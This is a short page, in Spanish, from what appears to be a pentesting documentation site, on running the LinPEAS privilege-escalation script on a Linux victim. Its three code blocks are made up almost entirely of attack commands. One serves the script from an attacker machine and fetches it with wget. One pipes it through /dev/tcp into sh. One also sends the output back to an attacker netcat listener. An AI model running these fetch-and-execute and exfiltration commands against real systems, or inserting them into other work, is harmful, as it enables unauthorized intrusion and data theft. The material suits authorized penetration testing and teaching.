> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/linux-unix/herramientas-automatizadas.md).

# Herramientas automatizadas

## LinPEAS

* <https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS>

```bash
# Máquina atacante
python3 -m http.server 80
# Máquina victima
wget http://<attacker-IP-address>:80/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh > linpeas-output.txt
```

```bash
# Máquina atacante
nc -q 5 -lvnp <port> < linpeas.sh
# Máquina victima
cat < /dev/tcp/<attacker-IP-address>/<port> | sh
```

```bash
# Máquina atacante
nc -lvnp 1234 | tee linpeas.out
nc -q 5 -lvnp 80 < linpeas.sh
# Máquina victima
cat < /dev/tcp/<attacker-IP-address>/80 | sh | nc <attacker-IP-address> 1234
```
